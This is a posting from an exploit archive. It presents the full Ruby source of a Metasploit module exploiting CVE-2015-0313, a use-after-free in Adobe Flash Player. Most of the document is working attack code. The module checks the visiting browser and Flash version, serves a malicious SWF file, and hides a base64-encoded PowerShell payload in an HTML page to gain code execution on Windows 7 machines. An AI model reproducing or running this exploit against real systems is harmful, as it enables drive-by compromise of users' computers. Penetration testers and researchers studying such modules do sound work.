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Adobe Flash Player ByteArray With Workers Use After Free

Adobe Flash Player ByteArray With Workers Use After Free
Posted Mar 30, 2015
Authored by juan vazquez, temp66, hdarwin | Site metasploit.com

This Metasploit module exploits an use after free vulnerability in Adobe Flash Player. The vulnerability occurs when the ByteArray assigned to the current ApplicationDomain is freed from an ActionScript worker, who can fill the memory and notify the main thread to corrupt the new contents. This Metasploit module has been tested successfully on Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.296.

tags | exploit
systems | windows, 7
advisories | CVE-2015-0313
MD5 | 607a862ce32fda6ff085d1672dae217b

Adobe Flash Player ByteArray With Workers Use After Free

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer

def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player ByteArray With Workers Use After Free',
'Description' => %q{
This module exploits an use after free vulnerability in Adobe Flash Player. The
vulnerability occurs when the ByteArray assigned to the current ApplicationDomain
is freed from an ActionScript worker, who can fill the memory and notify the main
thread to corrupt the new contents. This module has been tested successfully on
Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.296.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery and exploit in the wild
'hdarwin', # Public exploit by @hdarwin89 (all the magic)
'juan vazquez' # msf module
],
'References' =>
[
['CVE', '2015-0313'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-02.html'],
['URL', 'http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/'],
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2015-0313-the-new-flash-player-zero-day/']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^16\./ && ver == '16.0.0.296' },
:arch => ARCH_X86
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => 'Feb 02 2015',
'DefaultTarget' => 0))
end

def exploit
@swf = create_swf
super
end

def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")

if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end

print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end

def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)

html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
</object>
</body>
</html>
|

return html_template, binding()
end

def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0313', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }

swf
end

end
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